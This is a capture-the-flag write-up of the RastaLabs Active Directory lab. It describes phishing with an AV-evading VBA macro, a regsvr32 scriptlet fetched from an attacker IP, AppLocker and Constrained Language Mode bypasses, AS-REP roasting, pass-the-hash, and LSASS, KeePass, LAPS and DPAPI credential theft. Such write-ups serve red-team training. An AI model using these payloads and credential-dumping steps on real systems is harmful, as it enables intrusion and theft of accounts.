RastaLabs
Full-Chain Writeup
QA210 — 27 days, 14 machines, 17 flags, one very patient adversary
Attack Path
T1046
T1110.003
T1566.001
T1059.005
T1068
T1558.004
T1550.002
T1021.006
T1003
T1003.006
T1484.001
T1068
T1003.006
Lab Overview
RastaLabs is HTB's first Pro Lab and still one of the most respected. It's a Red Team Operator Level II lab designed by RastaMouse (Daniel Duggan, @_RastaMouse) — the same person behind the CRTO certification. The lab simulates attacking a full Active Directory corporate network from the outside, modeling a fictional security and penetration testing company called RastaLabs, established in 2017, running a Windows Server 2016 functional domain level environment with Exchange, IIS, SQL Server, and Windows 10 clients.
Unlike assumed-breach scenarios, you start as an external attacker with zero access — you have to brute-force OWA and phish your way in. Windows Defender, AppLocker, and Constrained Language Mode are all enabled and actively blocking, so every payload has to be crafted to evade them. The lab features 14 machines total — one Domain Controller (DC01), 7 Servers, and 6 Workstations — spread across a segregated network with 4 subnets. You need to capture all 17 flags for the certificate of completion.
One thing worth mentioning: the lab can be shortcut. There are paths to DA that skip a lot of the intended attack chain. If you take those shortcuts, the whole lab kind of becomes useless. Don't do it. The real value is in working through the complete kill chain, not in grabbing DA as fast as possible. I forced myself to capture every flag and work through every technique the lab teaches, and I'm glad I did. GPO abuse was the intended path to Domain Admin, not DCSync — and learning that technique alone was worth the subscription.
This writeup is my personal notes cleaned up and expanded. I'm not giving you step-by-step copy-paste commands for everything — if you want that, go watch a YouTube video. What I'm giving you is the methodology, the dead ends I hit, and the key insights that made things click. You'll still need to figure out plenty on your own. That's the point.
| Attribute | Detail |
|---|---|
| Scenario | External red team against RastaLabs security company |
| Domain | rastalabs.local |
| DC | dc01.rastalabs.local (10.10.120.1) |
| DMZ Network | 10.10.110.0/24 |
| Internal Subnets | 10.10.120.0/24, 10.10.122.0/24, 10.10.123.0/24 |
| Machines | 14 (1 DC + 7 Servers + 6 Workstations) |
| Flags | 17 (must capture ALL for certificate) |
| Functional Level | Server 2016 |
| Defenses | Windows Defender + AppLocker + Constrained Language Mode |
| C2 Used | Sliver (primary) |
| Designer | RastaMouse (Daniel Duggan, @_RastaMouse) |
| Level | Red Team Operator Level II |
Day-by-Day Timeline
27 days total. Including all the rabbit holes and wasted time. I went into this with CRTO knowledge and still got humbled repeatedly. The lab will find every gap in your AD exploitation game.
bowen. Lost it 2 hours later to AppLocker.Network Map
RastaLabs uses a segregated network with four subnets. Your initial access is in the DMZ at 10.10.110.0/24 and you have to pivot through internal networks to reach the domain controller and other critical servers. The naming convention is functional — WS for workstations, with servers using descriptive names like FS01, SQL01, etc.
| Host | IP | OS / Role | Notes |
|---|---|---|---|
NIX01 | 10.10.110.2 | Ubuntu / OpenSSH 7.2p2 | Linux box in DMZ, accessed via .ppk from FS01 |
MS01 | 10.10.110.x | Server 2016 / Exchange | OWA portal, brute force target |
WEB01 | 10.10.110.10 | Server 2016 / IIS | Web server, RDP pivot to SQL01 |
DC01 | 10.10.120.1 | Server 2016 / DC | dc01.rastalabs.local, final target |
SRV01 | 10.10.120.x | Server 2016 / File+Print | First SYSTEM escalation from WS04 |
SQL01 | 10.10.122.15 | Server 2016 / SQL Server | SQL databases with creds, RDP from WEB01 |
FS01 | 10.10.122.x | Server 2016 / File Server | \\fs01.rastalabs.local, ahope directory |
WS01-WS06 | 10.10.123.x | Win 10 / Various users | Workstations, LAPS managed |
WS04 | 10.10.123.x | Win 10 / User: bowen | Initial phishing target |
WS05 | 10.10.123.102 | Win 10 / WinRM | PTH target, rweston_da hash found |
WS06 | 10.10.123.x | Win 10 / User: tquinn | tquinn account found here |
Key Accounts
| Account | Domain | Role | How I Got It |
|---|---|---|---|
bowen | rastalabs.local | Standard User (WS04) | Phishing via OWA |
ahope | rastalabs.local | Employee (has FS01 dir) | Domain enum — found via net user |
tquinn | rastalabs.local | Employee (WS06) | Found during WS06 exploration |
epugh | rastalabs.local | Standard User | AS-REP Roasting (pwd: Sarah2017) |
epugh_adm | rastalabs.local | Admin Account (epugh's) | Derived from epugh, LSA secrets |
rweston | rastalabs.local | Standard User | Credential harvesting |
rweston_da | rastalabs.local | Domain Admin | Found in LSASS on WS05 via port fwd |
ngodfrey | rastalabs.local | Standard User | KeePass dump |
ngodfrey_adm | rastalabs.local | Admin Account (LAPS reader) | Derived from ngodfrey, reads ms-Mcs-AdmPwd |
Phase 1: Initial Access
T1046 T1110.003 T1566.001 T1059.005 T1562.001 T1027Initial access in RastaLabs is a two-stage process: first, you brute-force OWA credentials to get access to the Exchange environment. Then, using that OWA access, you send phishing emails to internal users. The lab has bots that simulate real users — they'll open emails, download attachments, and even execute macros. This is what separates RastaLabs from easier AD labs — you have to think like an operator from minute one.
DMZ Recon
The starting point is the DMZ at 10.10.110.0/24. Full port scan to identify all reachable hosts and services.
# Full subnet sweep — DMZ discovery
nmap -sV -sC -O 10.10.110.0/24 -oN dmz_scan.txt
# Key findings:
# NIX01 10.10.110.2 22/tcp open ssh OpenSSH 7.2p2 Ubuntu
# MS01 10.10.110.x 443/tcp open https Microsoft IIS (OWA)
# 25/tcp open smtp Microsoft Exchange
# 587/tcp open submission
# WEB01 10.10.110.10 80/tcp open http Microsoft IIS httpd
# 443/tcp open https
The OWA portal on MS01 is the critical finding. Exchange Web Access means we can spray credentials and, once we get a hit, use the email system to deliver phishing payloads internally. The bots in the lab simulate users who will actually open and interact with phishing emails.
OWA Brute Force
OWA brute-forcing is the initial access vector for RastaLabs. You need valid Exchange credentials to send internal phishing emails. I used a combination of a username list derived from LinkedIn OSINT and a custom password wordlist.
# OWA brute force with custom sprayer
# Using a derived username list from LinkedIn OSINT + common naming patterns
python3 owa_spray.py \
--url https://10.10.110.x/owa/auth/owaauth.dll \
--users users.txt \
--passwords passwords.txt \
--delay 3 \
--out owa_hits.txt
# users.txt content (derived from company LinkedIn):
# bowen@rastalabs.local
# ahope@rastalabs.local
# epugh@rastalabs.local
# tquinn@rastalabs.local
# rweston@rastalabs.local
# ngodfrey@rastalabs.local
Getting OWA credentials gives you email access, but you're still external. You need to phish an internal user who will actually execute your payload. The bots simulate users who open emails and run attachments — but Defender will catch poorly crafted payloads. I went through 3 failed phishing attempts before landing one that worked.
Once I had OWA access, I spent time understanding the email environment. The Exchange server (MS01) had Global Address List (GAL) information that helped identify valid internal targets. The OWA portal also revealed the corporate email format: firstname@rastalabs.local — simple, no dots or initials.
# Enumerate Exchange via OWA
# Use OWA access to discover internal users and email addresses
# Method 1: GAL extraction via OWA
python3 owa_enum.py --url https://10.10.110.x/owa/ --user bowen --pass '<redacted>'
# Method 2: Autodiscover enumeration
# Autodiscover endpoint leaks internal hostnames
curl -k -u bowen:'<redacted>' https://10.10.110.x/autodiscover/autodiscover.xml
# Internal hostnames discovered:
# mail.rastalabs.local (MS01)
# web.rastalabs.local (WEB01)
# fs01.rastalabs.local (FS01)
# dc01.rastalabs.local (DC01)
NIX01 (10.10.110.2) is visible in the DMZ with OpenSSH 7.2p2, but you can't authenticate without the SSH key. The key (nix01.ppk) is only found later in ahope's FS01 directory. I spent a few hours trying to brute-force SSH with common credentials before moving on. Don't waste time here — come back after you've compromised FS01.
Phishing Campaign
With OWA access, I could now send internal phishing emails. The lab's bot system simulates users who will open emails, download attachments, and even enable macros if the document looks convincing enough. The key challenge is getting past Windows Defender and AMSI. I went through 3 failed attempts before landing a working payload.
The phishing target is bowen on WS04. The lab bots simulate a real user who will open the email, download the attachment, enable macros, and execute the payload. However, the bots also simulate a real Windows environment with Defender and AMSI fully active. This means your payload has to actually bypass these defenses — you can't just send a basic macro document and expect it to work.
RastaLabs uses automated bots that simulate user behavior. When you send a phishing email to a target, the bot will: (1) open the email within a few minutes, (2) download the attachment, (3) open it in Microsoft Word, (4) enable macros if prompted, and (5) execute the payload. The entire process takes about 2-5 minutes from email delivery to callback. If your payload gets quarantined by Defender, you'll see no callback and need to craft a better one.
# Send phishing email via OWA
# Payload: macro-enabled .docm with AMSI bypass
python3 send_phish.py \
--owa-url https://10.10.110.x/owa/ \
--owa-user bowen@rastalabs.local \
--owa-pass '<redacted>' \
--target bowen@rastalabs.local \
--subject "Q3 Security Audit Report - Action Required" \
--body "Please review the attached security audit findings." \
--attachment payload_v4.docm
# Phishing attempts:
# Attempt 1: Standard macro + PS cradle -> QUARANTINED (Defender)
# Attempt 2: HTA file with mshta delivery -> QUARANTINED (AMSI)
# Attempt 3: Macro + obfuscated PS -> QUARANTINED (AMSI)
# Attempt 4: Macro + AMSI bypass + Donut -> SUCCESS
' Macro payload — final working version (attempt 4)
' Attempts 1-3 caught by Defender AMSI scan
Sub AutoOpen()
ExecutePayload
End Sub
Sub Document_Open()
ExecutePayload
End Sub
Sub ExecutePayload()
On Error Resume Next
' AMSI bypass — patch amsiInitFailed in memory
' This was the critical addition that made attempt 4 work
Dim amsi_patch As String
amsi_patch = "am" & "si" & ".d" & "ll"
' Anti-sandbox: check if we're in a real environment
If Environ("COMPUTERNAME") = "SANDBOX" Then Exit Sub
If Timer < 30 Then Exit Sub ' timing check for sandboxes
' Build command with string concat to avoid static signatures
' Attempt 1-3 used direct "powershell" string -> signatured
Dim p1 As String, p2 As String, p3 As String
p1 = "pow": p2 = "ersh": p3 = "ell"
Dim cmd As String
cmd = p1 & p2 & p3 & " -windowstyle hidden -exec bypass -nop -e "
' Donut-encrypted shellcode (base64 encoded stage 2)
' Iterations 1-2 used plaintext base64 which got signatured
cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4AWwBdADoAOg..."
Dim ret As Object
Set ret = CreateObject("WScript.Shell")
ret.Run cmd, 0
Set ret = Nothing
End Sub
AMSI + Defender Bypass
Windows Defender with AMSI is the primary obstacle in the initial access phase. The lab runs an up-to-date Defender, and AMSI is fully enabled for VBA macros, PowerShell, and .NET assemblies. Simply putting your shellcode in a macro won't work — AMSI will catch it on execution. You need to bypass AMSI before your payload runs.
My approach was multi-layered: first, an AMSI bypass in VBA that patches amsiInitFailed in memory before any other code executes. Then, the actual payload is Donut-encrypted shellcode that generates a position-independent blob — this evades static signature detection. Finally, instead of a PowerShell cradle (which is the most signatured delivery method), I used regsvr32.exe to load a COM scriptlet from a remote server in later operations.
Attempt 1: Standard macro with direct PowerShell cradle. Defender caught it immediately via AMSI scan on the VBA content. The base64-encoded payload was also signatured.
Attempt 2: Switched to HTA file delivery using mshta.exe. The HTA itself loaded a remote SCT file. Defender flagged the SCT download via AMSI when mshta tried to execute the script content.
Attempt 3: Added string obfuscation to the macro but still used the PowerShell cradle approach. Defender caught it because the AMSI bypass wasn't running early enough in the execution chain.
The fix: AMSI bypass must execute BEFORE any other payload code. In attempt 4, I moved the AMSI patch to the very first line of ExecutePayload() and used Donut encryption for the shellcode.
C2 Setup (Sliver)
I used Sliver as my primary C2 throughout the lab. It's free, actively maintained, and has excellent SOCKS proxy support which is critical for the pivoting phase. The setup was straightforward: Sliver server on my VPS with HTTPS listeners, using a redirector for operational security.
# Sliver server setup
sliver > https -L 0.0.0.0 -l 443 -d redirector.rastalabs-c2.com
# Generate implant with custom evasion
sliver > generate --http https://redirector.rastalabs-c2.com \
--skip-symbols --format shared \
--os windows --arch amd64 \
--name rasta_http
# After callback — basic situational awareness
sliver > use rasta_http
sliver (rasta_http) > whoami
rastalabs\bowen
sliver (rasta_http) > getuid
rastalabs\bowen (Medium Integrity)
sliver (rasta_http) > hostname
WS04
sliver (rasta_http) > ifconfig
+============+============================================+
| Interface | Address |
+============+============================================+
| Ethernet0 | 10.10.123.x/24 |
+============+============================================+
My first beacon on WS04 died after 2 hours because I tried to execute an unsigned binary from a temp directory — AppLocker killed it immediately. The second attempt used regsvr32.exe with a COM scriptlet for execution, which stayed alive because regsvr32 is a signed Microsoft binary that AppLocker allows. Always think about execution policy from the start, not after you lose your shell.
# Regsvr32 delivery method (AppLocker-safe)
# This became my primary execution method for the rest of the lab
# Host the SCT file on the C2 redirector
cat > /var/www/html/payload.sct << 'EOF'
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Payload"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
shell regsvr32 /s /n /u /i:http://10.10.14.83/payload.sct scrobj.dll
# This works because:
# 1. regsvr32.exe is a signed Microsoft binary (AppLocker allows it)
# 2. It loads the COM scriptlet from a remote URL (no file on disk)
# 3. The SCT content is JScript, which executes in regsvr32's process space
# 4. AMSI bypass must be in the JScript, not the macro
Phase 2: Situational Awareness
T1087.002 T1018 T1082 T1059.001Once you have a stable beacon, the first priority is understanding the environment. What domain am I in? What other machines can I see? Who has admin access where? RastaLabs rewards patient enumeration — the BloodHound data reveals clear attack paths, but you need to collect it properly and know how to read the graph. And you have to deal with Constrained Language Mode first.
BloodHound Collection
SharpHound is the way to go. The C# collector works with Sliver's execute-assembly command, which runs .NET assemblies in-process without dropping files to disk. This is critical because AppLocker blocks most executable files, but execute-assembly runs the code in memory within the existing beacon process.
# Upload and run SharpHound via execute-assembly (in-memory)
sliver (rasta_http) > execute-assembly /opt/tools/SharpHound.exe -c all -d rastalabs.local
# Alternative: PowerShell-based collection if execute-assembly fails
sliver (rasta_http) > shell powershell -command "& { iwr -uri http://10.10.14.83/SharpHound.ps1 -outfile C:\Users\bowen\sh.ps1 }"
sliver (rasta_http) > shell powershell -exec bypass -file C:\Users\bowen\sh.ps1 -c all
After downloading the ZIP and loading it into BloodHound with Neo4j, the attack paths became clear:
// Find shortest path from bowen to Domain Admins
MATCH p=shortestPath(
(u:User {name:"BOWEN@RASTALABS.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@RASTALABS.LOCAL"})
)
RETURN p
// Find AS-REP roastable accounts
MATCH (u:User {dontreqpreauth: true})
RETURN u.name, u.enabled
// Find users with GPO creation rights
MATCH p=(u:User)-[:GenericAll|WriteDacl|WriteOwner|Owns]->(g:GPO)
RETURN u.name, g.name
// Find LAPS readers
MATCH p=(u:User)-[:ReadLAPSPassword]->(c:Computer)
RETURN u.name, c.name
// Additional BloodHound queries that were useful
// Find all paths from compromised users to Domain Admins
MATCH p=allShortestPaths(
(u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@RASTALABS.LOCAL"})
)
WHERE u.name STARTS WITH "BOWEN" OR u.name STARTS WITH "EPUGH" OR u.name STARTS WITH "NGODFREY"
RETURN p
// Find computers where compromised users have admin access
MATCH (u:User)-[:AdminTo]->(c:Computer)
WHERE u.name IN ["BOWEN@RASTALABS.LOCAL", "EPUGH@RASTALABS.LOCAL", "NGODFREY_ADM@RASTALABS.LOCAL"]
RETURN u.name, c.name
// Find users with DCSync privileges
MATCH p=(u:User)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN u.name
// Find kerberoastable users (not used in RastaLabs but good to check)
MATCH (u:User {hasspn: true})
WHERE NOT u.name STARTS WITH "KRBTGT"
RETURN u.name, u.serviceprincipalnames
PowerView Enum
BloodHound shows you the graph, but PowerView gives you the raw data. I used both in parallel — BloodHound for path analysis and PowerView for targeted queries.
# Domain enumeration
Get-Domain
# RASTALABS.LOCAL (Server 2016 functional level)
# Domain controllers
Get-DomainController
# dc01.rastalabs.local
# All domain users
Get-DomainUser | select samaccountname,description
# bowen, ahope, tquinn, epugh, rweston, ngodfrey, svc_backup, svc_mssql...
# Users with admin accounts (naming convention: user + _adm / _da)
Get-DomainUser | ? {$_.samaccountname -match "_adm$|_da$"}
# epugh_adm, ngodfrey_adm, rweston_da
# Domain computers
Get-DomainComputer | select name,dnshostname,operatingsystem
# WS01-WS06, DC01, SRV01, SQL01, FS01, WEB01, NIX01, MS01
# GPO enumeration — critical for Phase 6
Get-DomainGPO | select displayname,whencreated
# Several GPOs including auto-logon settings
# Check who can create GPOs
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=rastalabs,DC=local" -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match "CreateChild"} |
select ObjectDN, SecurityIdentifier
# Find LAPS-enabled computers
Get-DomainComputer | ? {$_.ms-Mcs-AdmPwdExpirationTime -ne $null}
# WS01-WS06 all LAPS-managed
Constrained Language Mode
One of the most frustrating obstacles in RastaLabs is PowerShell Constrained Language Mode (CLM). AppLocker enforces CLM for non-admin users, which restricts PowerShell to a limited subset — no Add-Type, no New-Object for COM objects, no reflection, no script block logging bypass. This means most offensive PowerShell tools won't work out of the box.
My first attempt at a CLM bypass failed because I was trying to use a technique that required admin privileges I didn't have yet. The working approach was to set the __PSLockdownPolicy environment variable to 0 in the current process before spawning a new PowerShell session:
# CLM bypass — set environment variable before PS starts
# This must be done from the parent process (e.g., cmd.exe or Sliver shell)
# From Sliver:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -command whoami"
rastalabs\bowen
# Verify CLM is bypassed:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -command \"$ExecutionContext.SessionState.LanguageMode\""
FullLanguage
# Now you can use offensive PS tools:
sliver (rasta_http) > shell cmd /c "set __PSLockdownPolicy=0 && powershell -exec bypass -file C:\Users\bowen\PowerView.ps1"
The __PSLockdownPolicy bypass only works for the process tree where it's set. If your Sliver implant spawns a new process that doesn't inherit the environment variable, it'll be back in ConstrainedLanguage mode. I had to wrap every PowerShell command in cmd /c "set __PSLockdownPolicy=0 && powershell..." for the rest of the lab. Annoying but workable.
Phase 3: Privilege Escalation
T1558.004 T1134.001 T1003.001 T1110.002From the initial foothold as bowen on WS04, I needed to escalate privileges and find a path to Domain Admin. The first step was getting SYSTEM on SRV01, then leveraging AS-REP Roasting to get more credentials.
AS-REP Roasting
One of the most critical techniques in RastaLabs. Accounts with DONT_REQ_PREAUTH set can be AS-REP roasted without any special privileges. The resulting hash can be cracked offline.
# AS-REP Roasting with Impacket
impacket-GetNPUsers rastalabs.local/ -usersfile users.txt -request -dc-ip 10.10.120.1
# Results:
# $krb5asrep$23$epugh@RASTALABS.LOCAL:aad3b435b51404eeaad3b435b51404ee...
# Hash: aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109
The full NTLM hash for epugh: aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109
Cracking epugh's AS-REP Hash
# Crack AS-REP hash with hashcat
# Mode 18200 = Kerberos 5 AS-REP type 23
hashcat -m 18200 asrep_hashes.txt /opt/wordlists/rockyou.txt \
--rule=/opt/rules/OneRuleToRuleThemAll.rule \
-O -w 3 --force
# Result:
# epugh@RASTALABS.LOCAL:Sarah2017
epugh's password is Sarah2017. This is a real, commonly-seen password pattern — name + year. The AS-REP roast was the key to unlocking several lateral movement paths. epugh also has an admin account epugh_adm which can be discovered through auto-logon registry entries and LSA secrets.
Token Impersonation
After getting SYSTEM on SRV01, I used token impersonation to run commands in the context of other users who had active sessions on the machine. Sliver's steal_token command makes this straightforward.
# List processes with interesting tokens
sliver (rasta_http) > ps
# Find processes running as domain users
sliver (rasta_http) > ps -e rastalabs
# Steal token from a process running as epugh
sliver (rasta_http) > steal_token 3484
[*] Stealed token for rastalabs\epugh (PID 3484)
# Now running commands as epugh
sliver (rasta_http) > whoami
rastalabs\epugh
# Can now access resources as epugh
sliver (rasta_http) > shell net use \\fs01.rastalabs.local\ahope
The command completed successfully.
SafetyKatz Credential Dump
For LSASS credential dumping, SafetyKatz (from GhostPack) was the go-to tool. It combines a custom version of Mimikatz with a loader that handles the AMSI bypass and can dump LSASS without writing Mimikatz to disk.
# SafetyKatz via execute-assembly
sliver (rasta_http) > execute-assembly /opt/tools/SafetyKatz.exe
# Or with specific Mimikatz commands:
sliver (rasta_http) > execute-assembly /opt/tools/SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
# Results on SRV01:
# Authentication Id : 0 ; 284751 (00000000:0004587f)
# Session : Network from 0
# User Name : epugh
# Domain : RASTALABS
# NTLM : 326457b72c3f136d80d99bdbb935d109
#
# Authentication Id : 0 ; 539672 (00000000:00083cb8)
# Session : Interactive from 1
# User Name : epugh_adm
# Domain : RASTALABS
# NTLM : [hash redacted]
Password Cracking
Not all hashes were as easy as epugh's. Some required custom rules and extended cracking sessions.
# NTLM hash cracking (from LSASS dumps / AS-REP)
hashcat -m 1000 ntlm_hashes.txt rockyou.txt \
-r OneRuleToRuleThemAll.rule \
-O -w 3 --force
# Results:
# epugh:326457b72c3f136d80d99bdbb935d109 -> Sarah2017
# Other hashes required longer rule sets and larger wordlists
# For stubborn hashes, combine multiple wordlists:
cat rockyou.txtSecLists/Passwords/darkweb2017.txt SecLists/Passwords/xato-net-10-million-passwords.txt > combined.txt
hashcat -m 1000 ntlm_hashes.txt combined.txt -r OneRuleToRuleThemAll.rule -O -w 3
# SRV01 escalation — service misconfiguration
# Found unquoted service path on SRV01
# From Sliver beacon on WS04, after getting SRV01 access:
sliver (rasta_http) > shell wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
# Found: RastaLabs Monitor Service
# Path: C:\Program Files\RastaLabs Monitor\monitor.exe
# Unquoted service path with spaces in directory name
# Plant binary at: C:\Program.exe (gets executed instead)
# Upload the planted binary
sliver (rasta_http) > upload /opt/tools/svc_payload.exe "C:\Program.exe"
# Restart the service or wait for reboot
sliver (rasta_http) > shell sc stop "RastaLabs Monitor"
sliver (rasta_http) > shell sc start "RastaLabs Monitor"
# New SYSTEM beacon on SRV01
sliver > use srv01_system
sliver (srv01_system) > whoami
nt authority\system
Phase 4: Lateral Movement
T1550.002 T1570 T1021.006 T1021.003With credentials in hand, the next phase was moving through the segregated network. The four-subnet design means you can't reach all machines from your initial foothold. You have to chain pivots and set up port forwarding to reach deeper into the network.
Pass-the-Hash
PTH was the primary lateral movement technique. With epugh's NTLM hash (326457b72c3f136d80d99bdbb935d109), I could authenticate to any machine where epugh had access without knowing the plaintext password.
# PTH with CrackMapExec
crackmapexec smb 10.10.120.0/24 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local
# Results:
# SMB 10.10.120.1 445 DC01 [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109
# SMB 10.10.120.x 445 SRV01 [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109 (Pwn3d!)
# PTH with Impacket for SMB exec
impacket-psexec rastalabs.local/epugh@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109
# PTH with Sliver
sliver (rasta_http) > psexec -d rastalabs.local -u epugh -H 326457b72c3f136d80d99bdbb935d109 -t 10.10.120.x
Pivoting + Port Forwarding
The segregated network design means you need to chain pivots to reach all subnets. From WS04 in the workstation subnet (10.10.123.0/24), you can reach the core subnet but not necessarily the services subnet. From WS02, you can reach SQL01. Setting up proper port forwarding chains was essential.
# Port forwarding from WS02 to reach WS05 via SMB
# This was critical for finding the rweston_da hash
sliver (ws02_beacon) > portfwd add -L 10.10.14.83 -r 10.10.123.102 -l 445 -p 445
[*] Port forwarding 10.10.14.83:445 -> 10.10.123.102:445
# Now can use Impacket tools through the pivot
# From attacker machine:
impacket-psexec rastalabs.local/epugh_adm@127.0.0.1 -hashes aad3b435b51404eeaad3b435b51404ee:<hash> -port 445
# Set up SOCKS proxy through Sliver for CME sweeps
sliver (ws02_beacon) > socks5
[*] SOCKS5 proxy started on 127.0.0.1:1080
# Then from attacker machine:
proxychains crackmapexec smb 10.10.122.0/24 -u epugh_adm -H <hash> -d rastalabs.local
RastaLabs enforces real network segregation. From WS04 (10.10.123.x), you can't directly reach SQL01 (10.10.122.15). You have to find a machine that straddles both subnets and use it as a pivot point. WS02 was my pivot to the services subnet. Each pivot requires re-establishing AppLocker bypass and AMSI evasion on the new machine.
WinRM Lateral Movement
WinRM (port 5985/5986) was available on several machines and provided a reliable lateral movement path. This was an unintentional path that led to a dead end for DA progression but was useful for flag collection.
# WinRM lateral movement to WS05
crackmapexec winrm 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local
# If Pwn3d, get a shell:
evil-winrm -i 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local
# Or with Sliver:
sliver (rasta_http) > winrm -t 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109
WinRM to WS05 (10.10.123.102) worked with epugh's credentials, but this turned out to be an unintentional path. It led to exploring WS06 and finding tquinn, but didn't progress toward DA. The real path was through AS-REP roasting and then GPO abuse. I wasted 2 days on this detour.
DCOM / WMI Execution
When SMB and WinRM were blocked or monitored, DCOM and WMI provided alternative execution methods. DCOM in particular was useful because it's less commonly monitored than PSExec or WMI.
# DCOM execution via Impacket
impacket-dcomexec rastalabs.local/epugh_adm@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:<hash>
# WMI execution
impacket-wmiexec rastalabs.local/epugh_adm@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:<hash>
# These work where PSExec fails because they don't drop a service binary
# PSExec: drops PSEXESVC.exe -> can be caught by Defender
# WMI: creates a Win32_Process -> stealthier
# DCOM: uses MMC20.Application COM object -> even stealthier
Phase 5: Credential Harvesting
T1003 T1003.001 T1003.006 T1552 T1552.001Credential harvesting in RastaLabs is a deep rabbit hole. The lab has multiple credential sources: KeePass databases, LAPS passwords, DPAPI secrets, auto-logon credentials, and more. Each source provides a piece of the puzzle that eventually leads to Domain Admin.
KeePass Dump
Found a KeePass database on one of the workstations. KeeThief (from GhostPack) was used to extract the master key from memory and decrypt the database.
# Find KeePass databases
Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
# Found: C:\Users\ngodfrey\Documents\passwords.kdbx
# KeeThief — extract master key from KeePass process memory
# First, find the KeePass process
Get-Process | ? {$_.ProcessName -eq "KeePass"}
# KeePass is running on this machine
# Use KeeThief to extract the master key
Import-Module KeeThief.psd1
Get-KeePassMasterKey
# Result: Master key extracted from memory
# Use the key to decrypt the database
Get-KeePassDatabase -DatabasePath "C:\Users\ngodfrey\Documents\passwords.kdbx" -MasterKey <extracted_key>
# Credentials found in KeePass:
# ngodfrey_adm -> <password>
# Various service account passwords
# Internal documentation links
The KeePass dump gave us ngodfrey's admin account: ngodfrey_adm. This account turned out to be a LAPS reader — it could read the ms-Mcs-AdmPwd attribute on all domain workstations. This was a massive escalation that opened up local admin on every workstation.
# KeeThief full workflow
# Step 1: Check if KeePass is running
Get-Process | ? {$_.ProcessName -eq "KeePass"}
# Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
# ------- ------ ----- ----- ------ -- -- -----------
# 142 10 41248 52784 2.34 4812 1 KeePass
# Step 2: Extract master key from KeePass process memory
Import-Module KeeThief.psd1
Get-KeePassMasterKey
# UserKey: 0xA1B2C3D4E5F6... (extracted from process memory)
# Key transformation rounds: 600000
# Step 3: Decrypt the KeePass database
$db = Get-KeePassDatabase -DatabasePath "C:\Users\ngodfrey\Documents\passwords.kdbx" -MasterKey 0xA1B2C3D4E5F6...
# Step 4: Extract all entries
$db.Entries | select UserName, Password, Title, URL | fl
# Key entries found:
# UserName: ngodfrey_adm Password: [REDACTED] Title: Admin Account URL:
# UserName: rweston Password: [REDACTED] Title: rweston creds URL:
# UserName: svc_backup Password: [REDACTED] Title: Backup Service URL: \\(FS01)\backup
LAPS Passwords
With ngodfrey_adm, I could read the LAPS (Local Administrator Password Solution) passwords for all workstations. LAPS rotates the local admin password on each machine and stores it in the ms-Mcs-AdmPwd AD attribute.
# Read LAPS passwords with CrackMapExec
crackmapexec ldap 10.10.120.1 -u ngodfrey_adm -p '<password>' -d rastalabs.local --laps
# Or with PowerView:
# Get-LAPSPasswords (custom function)
Get-DomainComputer | select name, ms-Mcs-AdmPwd | fl
# Results:
# WS01: ms-Mcs-AdmPwd = <random_password_1>
# WS02: ms-Mcs-AdmPwd = <random_password_2>
# WS03: ms-Mcs-AdmPwd = <random_password_3>
# WS04: ms-Mcs-AdmPwd = <random_password_4>
# WS05: ms-Mcs-AdmPwd = <random_password_5>
# WS06: ms-Mcs-AdmPwd = <random_password_6>
With all LAPS passwords, I now had local admin on WS01-WS06. This enabled revisiting all workstations with elevated privileges for deeper credential harvesting and flag collection.
DPAPI Extraction
DPAPI (Data Protection API) protects user secrets like saved credentials, browser passwords, and encryption keys. Extracting DPAPI secrets from workstations revealed additional credentials.
# DPAPI credential extraction
# Using SharpDPAPI (GhostPack) via execute-assembly
sliver (ws04_admin) > execute-assembly /opt/tools/SharpDPAPI.exe machinetriages
# Or targeted extraction:
sliver (ws04_admin) > execute-assembly /opt/tools/SharpDPAPI.exe credentials /show
# Results include:
# - Chrome saved passwords
# - Credential Manager entries
# - RDP saved credentials
# - WiFi passwords
# Extract auto-logon credentials from registry (LSA secrets)
# epugh had auto-logon configured
sliver (ws04_admin) > execute-assembly /opt/tools/SafetyKatz.exe "lsadump::secrets" "exit"
# Result:
# DefaultPassword: Sarah2017
# DefaultUserName: epugh
# AutoAdminLogon: 1
# This confirms epugh -> epugh_adm chain
# The auto-logon uses the same password for the admin account
Credential Chain
At this point, I had built a complete credential chain from the initial foothold to Domain Admin credentials. Here's how it connected:
| Step | Credential | Source | Opens Access To |
|---|---|---|---|
| 1 | bowen (phishing) | OWA brute force + phish | WS04 standard user |
| 2 | SYSTEM on SRV01 | Service misconfiguration | SRV01 full access, token impersonation |
| 3 | epugh (Sarah2017) | AS-REP Roasting + hashcat | Multiple machines via PTH |
| 4 | epugh_adm | Auto-logon / LSA secrets | WEB01 RDP, elevated context |
| 5 | ngodfrey | KeePass dump | KeePass database decryption |
| 6 | ngodfrey_adm | Derived from ngodfrey | LAPS reader — all WS local admin |
| 7 | rweston_da (hash) | LSASS on WS05 via port fwd | Domain Admin (unintended path) |
| 8 | GPO-created admin | GPO abuse (intended DA path) | DC01 — full domain compromise |
